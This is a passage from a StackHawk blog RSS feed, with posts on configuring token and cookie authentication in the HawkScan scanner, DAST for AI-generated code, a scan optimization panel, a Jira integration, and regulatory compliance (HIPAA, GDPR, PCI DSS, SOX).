users need to access an application simultaneously. This scalability ensures that the authentication process remains efficient and reliable.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Third-Party Integration:&lt;/b&gt; Many applications rely on third-party authentication services like OAuth. By supporting multiple cookies and token authentication, software can seamlessly integrate with these services, providing a seamless user experience.&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Granular Access Control:&lt;/b&gt; Tokens and cookies can be tailored to grant specific permissions or access levels to different users or user groups. This fine-grained control allows for more precise authorization and reduces the risk of unauthorized access to sensitive resources.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Implementing Multiple Cookies and Token Authentication&lt;/h2&gt;&lt;p&gt;To implement multiple cookies and token authentication in your software, you can leverage the capabilities of HawkScan, a powerful security testing tool. HawkScan allows you to supply authorization tokens or cookies externally through its `authentication.external` configuration.&lt;/p&gt;&lt;p&gt;The configuration consists of three main parts:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Logged In/Out Indicators:&lt;/b&gt; These indicators help HawkScan determine if it is logged in throughout the scan. You can define regex patterns or HTTP response codes that indicate a successful login or logout.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Auth(Z) External Injection:&lt;/b&gt; This section allows you to specify the tokens or cookies that will be injected into each request sent by HawkScan. You can define the type (TOKEN or COOKIE), name, value, and optional token type for each token or cookie.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Test Path:&lt;/b&gt; HawkScan needs a test path to verify if the authentication was successful. This path should only be accessible when the user is logged in. You can define the path, expected success response pattern, and request method (GET, POST, etc.).&lt;/p&gt;&lt;p&gt;By configuring these sections in your `stackhawk.yml` file as shown below, you can seamlessly integrate multiple cookies and token authentication into your software.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
Multiple cookies and token authentication provide enhanced security and flexibility for API-driven applications. By leveraging tokens or cookies as authorization credentials, you can ensure that only authorized users can access sensitive resources or perform specific actions. HawkScan&amp;#39;s support for multiple cookies and token authentication makes it easy to test even the most gated paths of your application.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Secure Code in the Age of AI: Challenges and Solutions]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/secure-code-in-the-age-of-ai-challenges-and-solutions</guid><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;The pace of AI-based technologies is growing faster than any technology we’ve yet to see. It has sparked curiosity into the elements of how AI and Large Language Models (LLM) tools can help drive innovation and improve efficiencies industry-wide and has offered some playful observations, such as asking ChatGPT to describe the value of StackHawk as if it were The Godfather.&lt;/p&gt;&lt;p&gt;Playfulness aside, the software industry is rapidly adopting new solutions that incorporate generative AI to drive innovation and provide more value to customers at an accelerated rate. Recently, the R&amp;amp;D and Marketing teams at StackHawk wrapped our own AI-focused hack-a-Thon, with a focus on driving innovation into our everyday practices utilizing various AI and LLM solutions. It was a pretty exciting week, and I’m looking forward to sharing our learnings at a later date (intentional teaser, stay tuned). However, as the excitement continues to unfold, we are very mindful of ensuring secure code, after all, we should be, we’re a security company. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Security implication of using AI&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As our news feeds fill with new solutions and company pitches backed by GenAI and LLM-based technologies, we continue to proceed with caution as we see evidence that using GenAI in code introduces more security vulnerabilities for many organizations. In a recent survey published by &lt;a href=&quot;https://devops.com/snyk-survey-ai-generating-more-vulnerabilities-in-code/&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt;, they shared the following: &lt;/p&gt;&lt;p&gt;&lt;i&gt;“On one hand, just over three-quarters of respondents (77%) said AI tools improve code security. At the same time, however, 59% are concerned that AI tools trained using general-purpose large language models (LLMs) will introduce security vulnerabilities that first appeared in the code used to train them.”&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The adoption of code AI reminds us of the adage “what’s old is new,” meaning that just as we’ve watched the rollout of email and spammer fraud, new technology will always have its place for those that use it for good and that those will try to manipulate it and use it in nefarious ways. &lt;/p&gt;&lt;p&gt;We will eventually reach a point where generative AI can provide developers with prescriptive feedback on what security issues to fix regarding the specific language and frameworks they work with, as our &lt;a href=&quot;https://www.enterprisesecuritytech.com/post/what-shift-left-really-means-for-your-security-strategy&quot;&gt;&lt;u&gt;CSO Scott Gerlach mentioned recently&lt;/u&gt;&lt;/a&gt;. But we aren’t there yet, and the power behind AI and LLMs requires a new level of responsibility when developing secure code.  &lt;/p&gt;&lt;p&gt;&lt;b&gt;When Developers don’t understand the code they are copying and pasting, it’s easy to pull in vulnerable code unintentionally, making the need for continuous testing of your running applications even more crucial. Which, spoiler alert, DAST solutions like StackHawk are perfect for testing AI-generated code at run time. &lt;/b&gt;&lt;/p&gt;&lt;h2&gt;
&lt;b&gt;DAST uniquely positioned to test &amp;amp; secure AI-generated code&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs powered by generative AI present a new place for attackers to gain a toehold in disrupting the market. As organizations deploy new applications utilizing LLMs, a two-part combination of data and code is released, leading to the importance of security testing the &lt;i&gt;running&lt;/i&gt; application. Static code security solutions such as SAST won’t help in this situation; testing applications at runtime is something only modern DAST solutions can perform. &lt;/p&gt;&lt;p&gt;&lt;b&gt;The primary capability of DAST solutions is to send various iterations of data to an input and check its outputs for responses that might indicate a vulnerability. Testing how LLMs act upon input can only be tested by trying inputs and checking how the output behaves at run-time, a perfect match for DAST.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Another way to look at this is that LLMs are built to answer the same prompt differently. This non-determinism makes testing them difficult and requires a multitude of different inputs to run over a number of tests to validate they are probabilistically safe to deploy. This technique is similar to fuzzing applications and again points to DAST as a great testing solution.&lt;/p&gt;&lt;p&gt;With the rollout of the new &lt;a href=&quot;https://owasp.org/www-project-top-10-for-large-language-model-applications/&quot;&gt;&lt;u&gt;OWASP Top 10 for LLM &lt;/u&gt;&lt;/a&gt;project, created to identify specific vulnerabilities based on LLMs, we believe that 6 of the 10 will benefit from DAST&amp;#39;s very core testing concept.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Security Testing &amp;amp; StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;At its core, StackHawk was built to bridge the trust gap between AppSec and Developer teams to ensure the delivery of safe code faster. StackHawk focuses on testing APIs and web applications during runtime, prior to production, and gives engineering teams the ability to find and fix code more effectively while running in their CI/CD workflows. With the acceleration of new technologies built on AI and LLM, StackHawk’s DAST solution is well poised to continue to be a very critical part of the security landscape for testing and adopting a secure code mindset. Keep an eye on this space as we continue to share our learnings and discuss more. 
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Optimizing Security Scan for Speed and Accuracy]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/optimizing-security-scans-for-speed-and-accuracy</guid><category><![CDATA[Product Manager's Corner]]></category><dc:creator><![CDATA[Lindsy Farina]]></dc:creator><content:encoded>&lt;h2&gt;Introducing StackHawk’s new Optimization Tips Panel&lt;/h2&gt;&lt;p&gt;First of all, welcome back to the PM corner, I’m Lindsy Farina, senior PM here at StackHawk!  If you read my previous article about &lt;a href=&quot;https://www.stackhawk.com/blog/rsa-2023-themes-and-observations/&quot;&gt;&lt;u&gt;the themes we saw at RSA this year&lt;/u&gt;&lt;/a&gt;, you’d know that &lt;b&gt;DAST&lt;/b&gt; and &lt;b&gt;shifting left &lt;/b&gt;are super “on-trend” for 2023 security teams.  In this blog post, we will explore StackHawk’s new Optimization Panel that houses tips to enhance the speed and accuracy of your DAST scans, the core elements of kickstarting your shift-left journey. So, grab your team, and let’s dive in!&lt;/p&gt;&lt;h3&gt;What’s an Optimization Panel and why do I need it?&lt;/h3&gt;&lt;p&gt;Great question! If you are like a lot of customers, you created a couple of applications during your POV with the help of my wonderful colleagues here at StackHawk, but maybe don’t remember all of the configuration tricks they used to help you get those scans going.  Since you aren’t creating new applications every day, we know that it is easy to forget a few things, but we are here to help!&lt;/p&gt;&lt;p&gt;The new Optimization panel highlights the enablement status of three key features, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/custom.html&quot;&gt;&lt;u&gt;custom scan discovery&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;&lt;u&gt;technology flags&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;&lt;u&gt;authentication&lt;/u&gt;&lt;/a&gt;, on every scan, thus ensuring you don’t miss a step for your newly created applications. It will also tell you if something changes and configuration was lost, so you always have the latest information about the current state of your scans.&lt;/p&gt;&lt;h3&gt;What can I expect to see in StackHawk?&lt;/h3&gt;&lt;p&gt;For customers on our Pro and Enterprise plans, you should now see the Optimization Tips panel on the right side of the scan details page for each scan.  You will also see the same icon from the panel on your environment cards on the Applications page.  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Configuration is Queen&lt;/h3&gt;&lt;p&gt;While there are quite a few dials you can turn in your StackHawk configuration, we will focus on the three I mentioned above. Please note that while you may have enabled these features, it may take a few rounds of testing to ensure that the configuration is just right! Don’t be discouraged, and don’t forget to invite your teams to help you on the journey!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Scope the scan with &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/scan-discovery/custom.html&quot;&gt;&lt;u&gt;Custom Scan Discovery&lt;/u&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;One of the primary steps in optimizing a DAST scan is to define the scope. With Custom Scan Discovery, you can take advantage of other dev tools to help the scanner discover all the paths of your application. StackHawk allows you to do this by passing traffic generated from your existing dev tools like a Postman collection, or Selenium, Cypress, and Playwright test suites.&lt;/p&gt;&lt;h4&gt;Tune your tech and plugins&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;With &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;&lt;u&gt;StackHawk’s Technology Flags&lt;/u&gt;&lt;/a&gt;, you can tune HawkScan for the specific technologies in your application, such as database engines and software languages. By default, all tech flags are enabled for new applications. When you deselect technology flags for an app, you reduce the total number of tests the scanner will apply to your application, thus reducing scan time and false positives.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;By default, HawkScan selection of plugins that correspond to common vulnerability tests.  And while there are a few default policies you can choose from, the real power comes when you create a custom policy that is tailored to your application.  &lt;a href=&quot;https://www.stackhawk.com/blog/policy-management-speed-up-scans-and-cover-special-test-cases/&quot;&gt;&lt;u&gt;Check out our latest improvements to the Policy Management feature.&lt;/u&gt;&lt;/a&gt; Note that this feature is not yet part of the Optimization Panel, but definitely worth your time to explore!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/&quot;&gt;&lt;u&gt;Authenticated Scanning&lt;/u&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Many web applications require user authentication to access various pages. To effectively scan for vulnerabilities, you must test all paths, including the authenticated routes. Authentication configuration can be tricky, but we have quite a lot of documentation to help guide you through the process.  And always remember that you can get help at any time via the “Get more help” link on the Panel!&lt;/p&gt;&lt;h3&gt;How does it work?&lt;/h3&gt;&lt;p&gt;Let’s walk through a simple before and after example using the common JavaSpringVulny app.&lt;/p&gt;&lt;h4&gt;Unoptimized scan&lt;/h4&gt;&lt;p&gt;In the first scenario, you’ll see the new Optimization Panel on the right is reporting that none of the optimization features are enabled for this scan and the results returned 13 paths and 6 vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this scenario, Hawkscan used the base spider to crawl the application to identify the paths and the yaml configuration only contains three lines (StackHawk applicationId, host, and env.).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Optimized scan&lt;/h4&gt;&lt;p&gt;However, in the second example, you can see that we now have all optimization features enabled.  The scan results returned show 23 paths (10 more than the previous scan) and fewer vulnerabilities.  This means that not only was the scan able to find more paths, but the results became more accurate by eliminating the false positives that were present in the first scan.  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For reference, the yaml file now contains the authentication block, the base spider is set to false, we have supplied a custom command to run a Postman collection, and all irrelevant Db Tech Flags are disabled. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Optimizing DAST for speed and accuracy is at the core of StackHawk’s vision, and absolutely crucial in the journey to shift security testing left in your development lifecycle. We hope you find the new Optimization Panel useful on your own company’s journey!  StackHawk is committed to continuously delivering not only features, but also content like webinars and blogs to give you our thoughts on tips, tricks, and best practices.  &lt;/p&gt;&lt;p&gt;To end, I want to thank the many customers who participated in our UX design sessions, we so greatly appreciate your feedback!  And with that, this is an open invitation for all of our customers to reach out to me directly with your thoughts, comments, and ideas for how we can continue to improve and support you!  We LOVE feedback, the good, the bad, and even, the ugly, so don’t be shy!  Feel free to email me directly at &lt;a href=&quot;mailto:lindsy.farina@stackhawk.com&quot;&gt;&lt;u&gt;lindsy.farina@stackhawk.com&lt;/u&gt;&lt;/a&gt;, ping via our shared Slack channels, or send a note via a homing Hawk! &lt;/p&gt;&lt;p&gt;And as per usual, remember that security is a team sport, so grab your developers and share the fun of optimizing!! KAAKAWW!!&lt;/p&gt;&lt;p&gt;
&lt;b&gt;[&lt;/b&gt;Lindsy Farina is a senior Product Manager&lt;b&gt; at StackHawk]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/customized-and-configurable-scan-discovery/&quot;&gt;Customized and Configurable Scan Discovery&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-authenticated-app-routes-part-1-cookie-authentication/&quot;&gt;Security Testing Authenticated App Routes – Part 1: Cookie Authentication&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Not a user, yet? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Get started with a free StackHawk trial today&lt;/u&gt;&lt;/a&gt;! &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + Atlassian: Working Together to Help You Shift Left the Right Way]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-atlassian-working-together-to-help-you-shift-left-the-right-way</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Charles Sanders]]></dc:creator><content:encoded>&lt;p&gt;What does it mean to ‘shift left’? &lt;/p&gt;&lt;p&gt;Not the literal definition - I think we all know that by now (but just in case you’re not sure, “shifting left” is the process of integrating security practices early in the software development lifecycle and we have a great blog &lt;a href=&quot;https://www.stackhawk.com/blog/shifting-left-8-essential-tips-to-evolve-your-appsec-program/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt; that tells you everything you need to know!). &lt;/p&gt;&lt;p&gt;But what does it actually &lt;i&gt;mean&lt;/i&gt; to shift left? What does it mean to you as a developer and how would it impact your day and your process for shipping, testing, and delivering secure code? &lt;/p&gt;&lt;p&gt;Like a lot of phrases that get turned into buzzwords, over time they unfortunately lose some of their meaning, their oomph, their pizazz. That’s why it’s good to remember that there’s a really important concept embedded in the buzz term, “shift left” , which is to be &lt;i&gt;proactive&lt;/i&gt;. &lt;/p&gt;&lt;p&gt;Shifting left is about taking a more proactive, and scalable approach to security. It’s about breaking down silos (another buzz term that’s worth reflecting on) and bridging the gap between security and development teams - opening up those lines of communication with the understanding that security is a shared responsibility. &lt;/p&gt;&lt;p&gt;This is why StackHawk was created. For us it’s not a buzzword, it’s our purpose and why we wake up and KaKaww! in the morning. &lt;/p&gt;&lt;p&gt;And that’s why we get super excited when we have partners, like Atlassian, that share our vision and work with us to improve team collaboration, increase visibility into security issues, and better enable organizations to shift left. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Announcing Security in Jira&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Announced earlier this year and now generally available to all Jira Software Cloud users, Security in Jira helps Jira Software users collaborate on security at every stage of the development lifecycle. StackHawk is honored to be one of the few, select technology vendors to integrate with Security in Jira at this early stage. &lt;/p&gt;&lt;p&gt;&amp;quot;We’re thrilled to partner with StackHawk to surface their DAST and API security testing directly in Jira Software where developers plan and prioritize their work.&amp;quot;, says Jeff Richards, Product Partnerships Lead at Atlassian. &lt;/p&gt;&lt;p&gt;Now available on the &lt;a href=&quot;https://hubs.ly/Q01R1q0m0&quot;&gt;&lt;u&gt;Atlassian Marketplace&lt;/u&gt;&lt;/a&gt;, the StackHawk app for Security in Jira gives development teams the ability to view vulnerability data from StackHawk within the new Security Tab in Jira. Users have the ability to create and link Jira issues making it even easier to triage and prioritize vulnerabilities as part of their existing development workflows, such as sprint planning. Additionally, StackHawk provides vulnerability context directly in the issue, giving a comprehensive view of the information needed to address the security concern. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Learn More&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;To learn more about Security for Jira or to download the StackHawk Security for Jira app, please visit the Atlassian Marketplace &lt;a href=&quot;https://hubs.ly/Q01R1q0m0&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;To learn more about how StackHawk helps developers run and automate security testing as part of their traditional software testing workflows, sign up for a free, two-week trial &lt;a href=&quot;https://hubs.ly/Q01QJ2pl0&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How StackHawk Meets Compliance Requirements for Highly Regulated Industries with Security Compliance Automation]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-stackhawk-meets-compliance-requirements-for-highly-regulated-industries</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In today&amp;#39;s fast-paced digital landscape, meeting compliance requirements has become increasingly crucial for most organizations. This is especially true when operating in highly regulated industries such as finance, healthcare, and retail. As a result, businesses are looking to solutions that automate security compliance, in an effort to prioritize their security posture and reduce the risk of data breaches or regulatory penalties.&lt;/p&gt;&lt;p&gt;By focusing on building a strong application security, or AppSec, program, your organization can strengthen and solidify its overall security posture. Making sure the overall health and efficiency of the AppSec program is in a good spot, factors such as compliance requirements will fall into place. By building the cornerstones of a solid AppSec program, almost all requirements for compliance will be met by default.&lt;/p&gt;&lt;p&gt;But how does one go about actually building a strong AppSec program to ensure that these needs are met? This is where StackHawk comes in to help. By providing businesses with the tools they need to automate and scale while simplifying their security compliance processes, StackHawk can help to identify and assist developers in remedying compliance gaps. In this blog, we will explain what security compliance is across various industries, the consequences of not adhering to these standards, and how StackHawk can help to improve security outcomes when it comes to highly-regulated industries trying to meet the guidelines of security compliance. We will not only delve into StackHawk&amp;#39;s innovative approach to dynamic application security testing and its relevance to security compliance automation but also showcase how it can help companies across various sectors stay ahead of the compliance curve.&lt;/p&gt;&lt;p&gt;By building the most robust dynamic application security testing tools in the industry and a deep understanding of industry-specific regulations, StackHawk is transforming the way organizations address not only their security challenges and drive their compliance goals. We will explore the key features and benefits of StackHawk&amp;#39;s platform and demonstrate how it can be customized to suit the unique requirements of your business. This approach helps to ensure that your sensitive data remains secure and your organization remains compliant in an ever-changing regulatory landscape.&lt;/p&gt;&lt;p&gt;So, whether you&amp;#39;re a seasoned compliance expert or just starting to explore the world of regulatory requirements, join us as we uncover the power of StackHawk&amp;#39;s applications security automation and learn how it can help your organization effectively manage compliance while enhancing your overall security posture.&lt;/p&gt;&lt;h2&gt;Understanding Security Compliance in Highly Regulated Industries&lt;/h2&gt;&lt;p&gt;The first step to ensuring you’ve met the compliance needs of your industry is to fully understand them. Of course, there’s only so much we can cover in a single blog so further research is recommended, however, below we will cover the basics. Compliance requirements are essential for maintaining security and privacy standards in highly regulated industries. As such, below we will discuss some of the most common regulations and compliance standards, such as HIPAA, GDPR, PCI DSS, and SOX. Ensuring that your company is complying with these standards makes sure that sensitive data is protected as necessary and avoids the legal penalties that can come with non-compliance. Let’s dig into some of the most common standards and the details surrounding them.&lt;/p&gt;&lt;h3&gt;Health Insurance Portability and Accountability Act (HIPAA)&lt;/h3&gt;&lt;p&gt;One of the most talked about regulations in the US is achieving HIPAA compliance. HIPAA is a US regulation that aims to protect the privacy and security of patient medical records and other health information and has been in force since 1996. It applies to healthcare providers, health plans, and clearinghouses, as well as their business associates. In a technical forum, this can encompass how services are hosted, how data is encrypted in transit and at rest, and access control. In some settings, it may even affect how code is written.&lt;/p&gt;&lt;p&gt;Some key requirements for HIPAA compliance include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implementing administrative, physical, and technical safeguards to protect electronic protected health information (ePHI)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Establishing access controls to prevent unauthorized access to ePHI&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly monitoring and auditing systems to detect potential security incidents&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensuring secure transmission of ePHI across networks&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these requirements and guidelines, you can avoid some of the hefty penalties that would come with non-compliance. From a civil perspective, a breach of HIPAA compliance could lead to fines ranging from $100 up to $50,000 per violation up to $1.5 million per year for each violation category. The exact amount fined depends on the company&amp;#39;s level of culpability and efforts to correct the violation. When it comes to criminal penalties, individuals who knowingly and willfully violate HIPAA regulations can face fines of up to $250,000 and imprisonment for up to 10 years.&lt;/p&gt;&lt;h3&gt;General Data Protection Regulation (GDPR)&lt;/h3&gt;&lt;p&gt;A more recent regulation, GDPR has had a major impact on technology and data since 2018 when it started being enforced. GDPR is a comprehensive data protection regulation that applies to organizations operating within the European Union or processing the personal data of EU residents. Its main objectives are to enhance privacy rights and provide better control over personal data. For companies that do any type of business with EU residents, GDPR is a big deal.&lt;/p&gt;&lt;p&gt;Some of the key points of enforcement within the GDPR regulation include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Ensuring lawful, fair, and transparent processing of personal data&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Limiting data collection to what is necessary for the specified purpose (data minimization)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implementing appropriate security measures to protect personal data against unauthorized access, disclosure, or destruction&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Reporting data breaches to the relevant supervisory authority within 72 hours&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Obtaining explicit consent from data subjects before processing their data, unless another lawful basis applies&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;When it comes to non-compliance, fines are tiered, with the maximum fine being up to €20 million or 4% of the organization&amp;#39;s global annual turnover, whichever is higher, for the most severe violations. Lesser violations can result in fines of up to €10 million or 2% of the organization&amp;#39;s global annual turnover. Aside from the monetary penalties, data protection authorities can also impose other corrective measures, such as warnings, reprimands, and orders to comply with specific GDPR requirements. Non-compliance is taken very seriously, as seen in the penalties listed above.&lt;/p&gt;&lt;h3&gt;Payment Card Industry Data Security Standard (PCI DSS) (H3)&lt;/h3&gt;&lt;p&gt;Since 2004, PCI DSS has been the global security standard used to protect cardholder data in the payment industry. The standard came out of the need to standardize the different practices in place to protect cardholder information. Various standards at MasterCard, American Express, Visa, JCB International, and Discover Financial Services led to the creation and development of the PCI standards used today. PCI DSS applies to all entities involved in payment card processing, including merchants, processors, acquirers, and service providers. &lt;/p&gt;&lt;p&gt;Some key requirements of PCI DSS include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implementing strong access control measures to restrict access to cardholder data&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly testing and monitoring network resources and cardholder data environments for vulnerabilities&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Maintaining a secure network by installing and configuring firewalls and routers&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensuring the secure transmission of cardholder data across public networks&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implementing robust encryption methods to protect stored cardholder data&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The fines that come with a breach or non-compliance with PCI DSS can range from $5,000 to $100,000 per month for non-compliant merchants. The exact fine depends on the level of non-compliance and the duration of the violation. The more significant consequences are potentially increased transaction fees, damage to the organization&amp;#39;s reputation, and even the revocation of the organization&amp;#39;s ability to accept card payments.&lt;/p&gt;&lt;h3&gt;Sarbanes-Oxley Act (SOX&lt;/h3&gt;&lt;p&gt;The last compliance standard we will look at is the Sarbanes-Oxley Act, usually shortened to SOX. SOX is a US federal law enacted to protect investors from fraudulent accounting activities by corporations. SOX applies to all publicly traded companies and also applies to their auditors. While SOX primarily focuses on financial reporting and corporate governance, it also has implications for IT security and operations. &lt;/p&gt;&lt;p&gt;A few key SOX requirements include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Establishing and maintaining internal controls over financial reporting (ICFR)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly assessing and testing the effectiveness of ICFR&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensuring the secure storage and retention of electronic records and audit logs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implementing access controls to prevent unauthorized access to financial data and systems&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Protecting sensitive data through encryption and other security measures&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The consequences of non-compliance with SOX include both civil and criminal penalties. &lt;/p&gt;&lt;p&gt;Civil penalties include significant fines, with CEOs and CFOs personally liable for financial statement inaccuracies. The fines imposed for violations can range from $1 million to $5 million.&lt;/p&gt;&lt;p&gt;Criminal penalties for individuals who knowingly and willfully violate SOX regulations can face imprisonment for up to 20 years, depending on the specific violation.&lt;/p&gt;&lt;p&gt;Understanding and complying with these common regulations is crucial for organizations operating in highly regulated industries. By implementing the necessary security measures and best practices, businesses can safeguard sensitive data, maintain customer trust, and avoid costly penalties.&lt;/p&gt;&lt;p&gt;In addition to the fines and penalties discussed above, organizations that fail to comply with regulatory requirements may also suffer reputational damage, loss of customer trust, and potential legal action from affected parties. For large and publicly exposed infractions, the damage could lead to an organization completely going under and dissolving. Consequently, organizations need to prioritize compliance with these regulations to avoid costly consequences and maintain a strong security posture. Most companies who fall under these regulations publicly declare their compliance to instill trust within their customer base.&lt;/p&gt;&lt;h2&gt;StackHawk&amp;#39;s Security Compliance Automation Features &lt;/h2&gt;&lt;p&gt;StackHawk&amp;#39;s various features for improving application and API security via automation provide organizations with the tools they need to efficiently manage and maintain compliance with various regulatory requirements. By automating security compliance checks and monitoring, StackHawk streamlines the process of identifying and addressing vulnerabilities. By implementing a dynamic application security testing (DAST) tool, StackHawk automatically tests APIs and applications to that organizations maintain a strong security posture.&lt;/p&gt;&lt;p&gt;Key features of StackHawk that can be used as part of security compliance automation include:&lt;/p&gt;&lt;h3&gt;Continuous Testing &lt;/h3&gt;&lt;p&gt;StackHawk’s platform offers dynamic application security testing for web applications and APIs offering automated and continuous testing during the development stages to &lt;a href=&quot;https://docs.stackhawk.com/web-app/scans.html&quot;&gt;&lt;u&gt;identify security vulnerabilities in&lt;/u&gt;&lt;/a&gt; real-time and prior to deployment. This proactive approach helps organizations address potential vulnerabilities and compliance issues as well as requirements such as PCI 6.6. By doing this, companies can reduce the likelihood of data breaches and security incidents that could lead to non-compliance with regulatory requirements.&lt;/p&gt;&lt;h3&gt;Automated Reporting&lt;/h3&gt;&lt;p&gt;StackHawk&lt;a href=&quot;https://docs.stackhawk.com/web-app/reports.html&quot;&gt;&lt;u&gt; generates detailed and comprehensive reports of its security scans,&lt;/u&gt;&lt;/a&gt; providing a clear record of the application vulnerabilities detected and level of severity which may affect security and compliance. These automatic reports not only help organizations maintain a clear view of their security posture but also serve as valuable evidence during audits. When a vulnerability is remedied and code is committed, StackHawk will scan the application again to ensure the vulnerability is fixed. This functionality can help organizations demonstrate their commitment to maintaining compliance and creating secure applications.&lt;/p&gt;&lt;h3&gt;Integration with CI/CD Pipelines&lt;/h3&gt;&lt;p&gt;StackHawk takes DAST and security testing automation to the next level by &lt;a href=&quot;https://www.stackhawk.com/solutions/devsecops/&quot;&gt;&lt;u&gt;integrating directly into a CI/CD stack.&lt;/u&gt;&lt;/a&gt; StackHawk is designed to fit seamlessly into existing Continuous Integration/Continuous Deployment (CI/CD) pipelines, embedding security testing within the software development process. By adding StackHawk as a step in the CI/CD pipeline, development teams can automatically run security scans on their applications whenever code changes are pushed into a repository. This ensures that vulnerabilities are detected and addressed early in the development lifecycle when the code is first created and added to the application. This “shifting left” of security puts the onus on developers to make the fixes and create secure code, minimizing the risk of non-compliance and reducing the time and effort required to remediate issues.&lt;/p&gt;&lt;h3&gt;Customizable Scans&lt;/h3&gt;&lt;p&gt;The ability to customize scans is another feature that makes StackHawk a great way to ensure you are covering all the bases during development. By configuring the platform to meet the unique security and compliance requirements of their industry, organizations can ensure that their applications and infrastructure adhere to the relevant regulations.&lt;a 